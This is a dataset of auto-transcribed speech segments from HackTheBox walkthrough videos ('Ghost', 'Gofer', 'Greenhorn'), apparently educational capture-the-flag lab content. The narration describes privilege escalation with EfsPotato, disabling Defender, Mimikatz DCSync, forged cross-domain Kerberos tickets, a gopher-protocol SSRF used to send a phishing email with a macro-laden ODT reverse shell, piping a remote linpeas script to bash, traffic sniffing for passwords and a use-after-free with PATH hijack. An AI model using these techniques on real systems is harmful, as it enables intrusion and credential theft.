text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
That's one of the more latest ones.
7,445.119
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And the other thing that's good about this file is it's a single CS. So we can just um compile it easily. So copy this. Let's see. Uh we're in dubdubdub. So we'll call this efp.cs, I guess. Or what they call it? Um, EFS potato CS paste. Here's our shell. Let's go in program data because I know I can write there. PWD. A...
7,450.88
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
uh IWR use basic parsing 101048000 EFS potato.cs to EFS potato.cs. And now we should be able to compile it. Then we just do this one, right?
7,495.119
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Come on. It may take a second to compile. And we do EFS potato command and then the pipe. And it defaults to lsp. So we'll leave the default. Do a diir. It does not look like it compiled.
7,527.04
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
cse.exe. Maybe I have a typo or something that did not work. Maybe it's not in our path. So, uh, let's do diir C Windows Microsoft.NET framework.
7,558.199
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, V4.030319. This is where CSC should be. It's probably at the top. Come on. Yep, CSC is there. So, I'm going to copy this. And one of the annoying things when you do PowerShell reverse shells, you normally lose standard error. Um, there's ways to recover that. I just don't remember off the top of my head. This looks...
7,581.96
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So, let's go back here raw. We'll just W get this.
7,631.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
See where did I download it? There. Not found. Probably because I have casing.
7,653.32
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
EFS potato. Okay, so that's how it downloaded. Um, let's see. We have to just save the body.
7,679.159
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, invoke web request. Save body.
7,700.199
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Let's see. Does this tell me out file? Had to not do it.
7,711.36
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Is it content? That does not look like it's it. I think I lost my shell. I did. That's annoying.
7,741.44
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Let's get this again ghost core. I may have to reenable. Nope, I don't.
7,767.599
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Awesome. Program data. Okay, let's just try a curl. HTTP 10148. Uh, butcher that curl. HTTP 10148,000.
7,789.719
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Grab the file dash o that diir type efs potato.cs. That is better. CSC.exe. Awesome. It's still in my T-Max history. So I can just copy and paste this and What is going on?
7,812
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Uh, let's delete EFS potato.cs curl. Run it again.
7,858.199
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
W get out file. Something is going on.
7,880.88
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Uh, I have HTML and I should not have HTML. Let's delete that. W get raw. I thought I did raw last time. That looks better.
7,902.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Okay, let's delete it. Go back to curl. Compile it. And we finally have the .exe.
7,928.199
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Awesome. So, RL wrap nclvnp 90001. And now we can run EFS potato.exe.
7,944.28
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
exe. I think we just put the command, right? Let's go back to see the usage. Yep, command. So, I wonder if I can just do my uh PowerShell command and SQL query. So, can we just run this like that. There we go. Where am I? And now we're anti- authority system. So, we have escalated from the service account to the system...
7,957.239
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
We're not exactly um if we do I guess uh IP config will tell us easily. We're 10 00010. We want to be 1010 1124. We're still in a VM. We're on probably the corp.go.htb domain. And we can verify that with a PowerShell command. So we'll do uh system.net.dns DNS and then resolve null.host name. And there we go. We are pri...
8,007.599
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
And then please subscribe. Log in.
8,055.199
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
This should still be up. So, let's go back to the cipher queries. Um, let's see. Where is domain trust? There it is. So, we have corp.go.htb. So, if we look, we can see primary. Do we not have bloodhound data for this? Because we probably didn't get other domains.go.htb.
8,061.84
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I do not. Um, that's probably the domain controller. I'm going to see if we can get by without it because I don't want to go copy sharpound and run that. So, what we have to do is get mimikats on this box. And I'm going to try to disable defender so we don't have to go worry about um obuscating mimikats because uh we w...
8,091.04
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Mimikats GitHub. Let's see. Gentle Kiwi. Download this one. Hopefully, it lets us download. Awesome. Uh, dubdubdub mv downloads m cats 7zx. Extract it. And we want x64 mv mimikats.exe up one directory.
8,131.4
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Let's go back to our shell program data and let's do a uh curl http 10 1048 8000 mimikats exe mimikats.exe. Did that download? Looks like it did. Let's do mimikats.exe.
8,179.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
exe. I'm just going to do the exit real quick. Make sure we can run it. It's taking a long time, so maybe we can't diir again. Uh, it's there. So, I think we can mimicats.exe lsa dump dc sync all CSV format and then exit.
8,208.2
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Wonder uh defender definitely cleaned it up. Let's see. Set MP preference. Disable real time monitoring. True.
8,239.679
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Let's w get this again. Go mimi.exe. There we go. We have the output. So this is going to be the enter domain trust account for ghost. So this is what we want to use. Um this is for the child domain itself. But this since the birectional trust is there this account can be signed and um create kerros tickets on the pare...
8,268.8
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
So copy this. Then we want to do the the domain. So we can say corp.go.htb HTB and then we're going to do extra SIDS. Is it SIDS or SID?
8,339.2
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um, let's see. Extra SID. And we're going to take the ghost.htb SID. So, let's go to ghost.htb. Copy this. And then I'm going to tack on 519. And the reason I'm doing that is 519 is the default RID for um enterprise admins. So if we search for enterprise admin, we can see it ends in 519. Uh we could have also done like...
8,353.88
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
I think that is like 512. Is that the default red? Yeah, 512 would be domain admin. So we can specify whatever we want here. Um, I just want to do uh the domain admin or enterprise admin. And then we're going to do SPN and we're going to say it's a Kobgt service principle for ghost.htb and then the username. And the us...
8,385.04
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
corp.go.htb domain, right? We want it to be for the ghost.htb. So we create this and we have a ticket granting ticket now. So we can use this ticket uh with uh get service ticket. So we'll do kb5cc name is equal to ipsc like this.
8,441.16
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Then get service ticket.py and then specify kerros no pass SPN and this is going to be the CIFS um service principle. This is the like file system. So SMB essentially ghost.htb htb and then um we need the fully qualified name. So ghost httb IPSC at ghost.htb. So what this is going to do, we're going to go to with our t...
8,460.399
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
It's going to go over to the child domain, say, hey, um is this user valid?
8,493.12
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Should he be able to access me? And then the child domain's like, yeah, you trust me here. Here's the service ticket for that. It relays it to us. And now we have um access. So let's now do kob 5cc name is equal to this. And we'll just test it with net exec real quick. SMB 1010 1124 use k cache to use the cache. And pl...
8,498.56
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
Um let's just try something real quick. We're just going to run secret stump. Maybe net exec won't be able to use this ticket. I'm pretty sure it should be able to though. But we'll do secrets dump-k uh no pass just dc ipssec at dco1.go.htb and let's see what error comes out. Nope. It looks like it's working. So I don'...
8,540.319
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
That's HMAC. Let's see. Right here. Probably this one CD. Let's grab this. And let's see. Um, evil winrm- u administrator- capital hash i 1010 10 1124. And there we go. So, we can do desktop and getroot.ext. So, that's going to be the box. Hope you guys enjoyed it. Take care and I will see you all next time.
8,584.08
0
{ "video_id": "4dEmocjKnZg", "title": "HackTheBox - Ghost", "url": "https://www.youtube.com/watch?v=4dEmocjKnZg" }
what's going on YouTube this is ipag I'm doing gerer from hack the box which has three main components the first one is a server side request forgery and when playing with it you discover that you can use the goo protocol which just lets you right to Raw sockets so you can use that ssrf to talk to an SMTP port and send...
0.199
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
super beginner way they implemented it so it should be easy to understand exactly what's going on with that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV numer versions OA output all formats put in the end map directory and call it gopher then the IP add...
47.039
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
because it says samb here so it's running the Linux client I'm going to start off with just looking at the website so 10101 11225 and it directs us to go for. htb so let's add that to our host file we can do um 1010 11225 and then gerer htb I think it had an F instead of a pH it did refresh and now we get the page so t...
104.56
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
I'm not even going to bother looking at that anymore what we want to do is identify like what this site's built with is it just a static site we see this is a bootstrap thing the web page also said they were bootstrap developers to make websites so this looks very much static the site icon is also a bootstrap one uh we...
173.48
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
site on htb I go for sub uh subdomains first I normally don't do both at the same time because that can create some latency uh we have a error somewhere unable to connect our L what is that oh it's probably just dasu there we go and we have a lot of redirects so let's see we can do H let's see I'm going to run this aga...
240.56
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
11225 see is that the correct syntax it is and then is it D- shares uh let's see-u let's do like a null Authentication odly enough it's Banner says Windows 6.1 build zero but you can see uh crack map exec can do it as well I'm going to use SMB client again and then let's access the shares so 1010 11225 SL shares just h...
342.039
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
he's saying like you should restrict access using the limit if we go like in apache's config so Apache limit directive I think would pull it and I'm saying Apache because I'm pretty sure end map said it was Apache uh cat and map go for end map let's see Apache so if we look at the limit directive we can see it's limit ...
425.84
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
let's do a grap DV 301 and I'll end the parentheses so like that and we do find 1401 and that is proxy.pac so let's add this to our host file so sudo viy host and we'll add proxy goer htb if we go to proxy doer.
497.12
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
htb I did htps let's do HTTP we get a username thing so I'm going to try like admin admin can't really guess it so let's now send this over to burp Suite intercept is on send the request to repeater and when we get it we get a 401 unauthorized remember they said they were going to restrict access via limit and limit re...
525.519
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
httpproxy doer. htb word list op secist Discovery web content ra small words. text and I'm going to add the extension PHP the only reason is I need to Brute Force file names and almost any other web server like python Ruby whatever they're not going to have extensions they're going to do better handling of it PHP is ki...
601.839
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
parameter so what I'm going to do is uh make this we can probably leave the content type there that's probably not needed but just because we're doing a post request doesn't mean we can't put parameters in the git portion so I do URL test it is now hanging so let's do http 10 10 148 I probably should cancel that reques...
667.88
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
try uh maybe a PHP filter so PHP colon sl/ uh filter convert. base64 incode resource is equal to uh blacklisted keyword PHP Let's see we could just look at a bunch of um URLs so is it I think it's protocols lib curl protocols PHP and I'm doing lib Cur specifically because I just assume this is going to be using lib cur...
746.839
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
automatically add all these headers it makes it hard for us to communicate to any socket right but since um gopher doesn't put anything here we can just write in that request right so if I do uh let's put this back to gopher and then after this I can say Please Subscribe it's probably got to be percent 20 and we can se...
835.68
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
it was a new line I don't know when I did that so we can try the two slashes percent 20 and see it also says please subscribe so since we can write just to a socket that means we can probably connect to other plain text protocol things on this box right and I say plain text protocol because if it's going to be SSL we c...
920.839
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
1271 is blacklisted also as well as Local Host um my first thought was to use the Box's IP address which works you could also get around that by encoding the IP address so like um 127 and hex is is equal to 7f so if I did Ping 0x then 7f 0 0 0 0 0 1 so this is each octat encoded in hex it pings Local Host so that's ano...
1,000.639
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
ports so if we copy this and do a FFF and then - U we need to put the URL so HTTP uh 10 10 11225 oh no this is proxy doger and then I'm going to fuzz the port like that and then we'll do the word list I'm going to do this fancy redirect which is going to um build a um file and use that file in memory we do that and the...
1,089.559
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
milliseconds if we do a port that doesn't have anything it's going to be like under 100 milliseconds right because there's no action going on if we do 80 um I guess it's is waiting for a response and it will eventually timeout so we need to in fuff look at timeouts probably to do this much better because Port 80 is han...
1,186.64
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
real quick if I do 10 10 14 8 on 8,000 we can see what we wrote right so enough just skipping around let's now um try to send an email so what I'm going to do is let's just open a new Pane and create a mail file so the first thing we have to start out is a hello command and it doesn't really matter what we put after it...
1,262.159
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
htb then we need the subject and we'll say review document and then we can do the message and we can say please check out the document here HTP 10 10 148 8,000 I'll call it malicious ODT let's make this a link okay actually I don't think a Link's going to work because we're not in like Rich text format or something so ...
1,343.84
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
recipient to so that looks good so let's just see if she opens any documents so first I'm going to um Python 3 mhcp server we'll listing on Port 8,000 so 10 10 11225 we sent it and the whole reason I was doing open Office is because it does say use ODT format here right as um Microsoft Office doesn't always interpret d...
1,448.919
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
text tet uh SMTP message what did we mess up so hello maale from I wonder if we have to put brackets oh do I have data I don't so receipt two data subject this is a test message okay is that how it goes let's copy this and we can double encode it see convert selection URL all control U there we go okay so that looks be...
1,551.48
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
document so let's do file new text document and then tools macros edit I'm going to click on my document here to create a macro on this document uh is this new that's not what I wanted uh let's see am I in I'm worried I'm in this we need to make sure we're in this macro let's do shell save I'm definitely in that let's ...
1,684.399
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
basic and then go find a macro make sure it's under a document click assign go to the events and then Open document and then assign that macro and then you want to make sure it's saved in malicious. ODT if you save it in Liberty office it saves in like your template document which only executes on your machine we want ...
1,803.08
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
and we just wait for the user to open it it can probably take up to 2 minutes so I'm going to just set a timer here sleep uh 120 and then we will resume the video up as I started saying it again we see they grab the document and we got a shell so let's now python 3-c import PTY PTY spawn bin bash stty raw minus Echo fo...
1,902.559
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
users. text and then downloads and downloads looks like it's ch moded to 777 uh but there's nothing nothing in it so the very first thing I generally check is if I canudo and not found um it looks like our path is set oddly we only have user bin and Bin there's a lot of other directories so like if I Echo path on my ma...
1,971.24
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
authorized Keys uh type that correctly paste chod 600 sh- i j Hudson J Hudson at 1010 11225 accept the key Echo path and our path is set a little better um I wonder if I could have just done like bash Echo paath yeah I didn't think that would work because um a reverse shell executed bash there's probably a way to reset...
2,039.44
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
that admins remove pseudo but not completely out of the ordinary so opt peas Lin peas let's start up our web server again and then I'm going to go in Dev shm because I'm going to actually log the output of lmpas this time so we'll do p Python 3 curl 101048 8000 lpsh pipe it over to bash and then we'll do a t lines. out...
2,138.599
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
and then let's see we have basic information operating system we can see it is a Debian Bullseye box and then the path so if anything in this Lin piece doesn't work as expected um check the path because you probably forgot to update it and I'm going to just copy this so so I can search it and I can easily jump down to ...
2,199.56
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
see sber on Linux boxes so let's just look at that I think it was in cron daily we cat Samba uh this looks good and it's also cron daily so that wouldn't be really a vector here because you have to wait 24 hours and that would be just infuriating uh system timers very much like crons nothing looks out of the ordinary t...
2,265.24
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
because IP table or end map when we first ran this box said Port 25 was filtered which means it was probably a drop not a reject by default Linux will just reject if it's not listening so since Port 25 was probably set to drop on all interfaces when my burp Suite hit 10 10 11225 um and it didn't do anything that's beca...
2,326.119
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
and it would put the password which is in the HT passwd file as that's the very next thing analyzing it we see T Buckley um I'm not going to waste time and try to crack this I normally would but I know this is not a crackable hash you just use hash cap I have 100 videos on that so let's just skip over that we have Pam ...
2,391.92
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
probably just a special permission bit that's set um but it is probably set uid um so if we're a member of the dev group we would be able to access that so let's cat Etsy group grep for Dev and we can see T Buckley is a member of that so let's go to shm grip Lin's output for T Buckley and see if we can easily get to th...
2,464.52
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
dump file is going to get huge right so I'm going to say let's do Port 80 I guess we'll do- Port 80 and if this doesn't get anything then I do like 445 and 25 um we could probably also do like Port not 22 but let's do that and I do want to say Das right output file we'll say um 80. cap and I'm also going to do is it- s...
2,540.599
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
header I'm going to download this capture in just a minute so we can see it in wire shark but this is a quick way to do it and we can get T Buckley's password we can try switching over to it so s-t Buckley put in the password and we get logged in so this now lets us access that user bin a user local bin notes directory...
2,634.079
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
cap and we can wire sharket to see exactly what's going on and my wire shark font is super small um is that just like edit preferences layout font and colors uh let's do this that should be fine okay I wish this was in dark mode is there a quick way to do it appearance no layout I know there is but oh well so I do not ...
2,679.839
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
if we look at this stream it's probably not going to have that header because this is the proxy code reaching out to it so let's follow yep so okay now that we have that let's get on the T Buckley user and we'll save this password so vs. text paste it in s-t Buckley copy paste and then the first thing I do is a pseudo-...
2,775.119
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
subscribe we can show a note we see the note is subscribe odly enough please is not there I wonder if let's see five show a note please okay okay so it's doing something weird with spaces um okay uh doesn't really matter but we can see we have notes and users still now what I'm going to do is uh we can create a user we...
2,856
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
exit we're going to run it again I'm going to create a user doesn't matter what it is we're going to delete and then we're going to to write a note and guess the number of A's um it's probably going to be an increment of eight so let's try um 16 and then the role of please sub like that so now I'm going to show user in...
2,928.68
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
G and then we will examine this binary and then we'll step through it in GDB to really show what is going on let's import import there we go notes sure analyze yep okay so exports Main and here's all the de compiled code so we have the menu here we have um case one and then it's going to um malic 40 bytes or mic some m...
3,002.2
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
we go to this one case four this is where creating the note the pointer to where it stored is here just assigning memory right so if we look at the user we only see it using a free on local 10 and what that does is erase the data or free up the memory where that memory was right it doesn't actually unset the pointer we...
3,095.359
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
data there and whatever we're putting there is what now is pointed to also the username if that doesn't make sense we'll step through in GDB in just a second and we can see uh let's see where is that start adding the role so so we assign this much memory then we do mem set and let's see let's just step through a memory...
3,155.839
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
IPC actually before we do a put a username let's look at what Rax is so I'll do IR for info register Rax and this is the pointer so when we type IPC this pointer is going to be the pointer to where IPC is stored in memory so let's just do this user so we're going to take a note there so I'll continue we'll type ipac an...
3,254
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
can show user and show a note right so I'm going to rerun the application and we're going to do it again but in the slightly different order of creating user deleting the pointer freeing the memory and then creating the note right so do IR RX it is still set to ac0 because um we executed the program with GDB which woul...
3,342.76
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
pointed to this spot in memory so now when I continue and we put 1 two 3 4 1 2 3 4 we'll put um 24 A's I think I said 16 before but it's 24 um we'll say admin now when we show user information it says we are admin and now if I went to backup notes we could see it did a few things and we see it running T so the last ste...
3,422.119
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
of user bin right but now if I create a new tar and this is just going to run bash because my path has D shm up to the top when I run which T it's going to execute that which is just a bash shell um that's odd which T definitely did show it but when I ran T it did not that ran that's weird but I think when I run the pr...
3,513.319
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
let's just do um in main void uh set uid zero and system bin bash oh I probably need the Das P that's by why it didn't work before um GCC shell that looks like it works move a. out to car see 1 2 3 4 1 2 3 4 that's all the A's I need let's try this again we'll execute notes we will create a user delete one two 3 admin ...
3,605.119
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
it bash DP and if it doesn't work with bash I'll copy my small C program I just put here right um Echo let's copy all those A's Echo path export path is equal to this we'll remove Dev shm and put temp so now when we run which T we get tempar okay so I'm going to run notes again and I'm going to copy all these so I set ...
3,709.16
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
um it's pointed to that spot in memory and whenever we run Malo is going to give us the first available and since we freed it it's saying wherever the user was pointed to is now free so you are free to use that spot in memory for your note and when we do we now have the user pointed to the same spot we were able to wri...
3,799.119
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
hope you guys enjoyed it take care and I will see you all next week
3,882.16
0
{ "video_id": "waKs935HxNE", "title": "HackTheBox - Gofer", "url": "https://www.youtube.com/watch?v=waKs935HxNE" }
what's going on YouTube this is ipag I'm doing greenhorn from hack the box which was a relatively easy machine but the root step could be tricky because it's very particular how you perform each step the user steps straightforward as just exploting plug CMS and then when you get on the box you discover a PDF that has u...
0.16
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
and saving it because if you have extra white space around the pixelized thing it can throw the tool off and then you'll struggle a lot trying to get it working so with that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV enumerate versions - VV for double...
43.76
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
horn. htb so let's go ahead and add this to a host file so do sudo VY host and then we can add 10 10 1125 greenh horn.
90.079
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
htb and looking at the other things there's not much else there there is Port 3,000 n map doesn't tell us the protocol however looking at the scripts we see a HTTP 400 so we know this is going to be a web server and looking at the cookies it tries to set we see iite g t which is um a source code repository kind of like...
101.159
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
HTP so let's go take a look so we'll do HTTP 1010 11.25 and we get a welcome to greenhorn page and looking at the photo we see it's powered by pluck which is a Content management system I think we've covered it once before I click on this admin it takes us to log into PHP and wants a password to log in we see it is plu...
130.959
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
didn't come across the cve so this is going to be live I haven't tried this yet so I'm going to send this over to burp suite and let's just see exactly what happens here so intercept is on oh actually looking at this I think this is um the pluck cve we did on a previous box looking at the git image um if I remember cor...
196.44
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
and that's not going to exist here so I'm just going to move on to the next one let's see if we look at the remote code execution uh it wants a zip file it does have a login so this is going to be uploading a zip to what's the upload URL it looks like it's going to install a module so this is like adding a plugin to pl...
274
0
{ "video_id": "xMSHvpy-UZE", "title": "HackTheBox - Greenhorn", "url": "https://www.youtube.com/watch?v=xMSHvpy-UZE" }
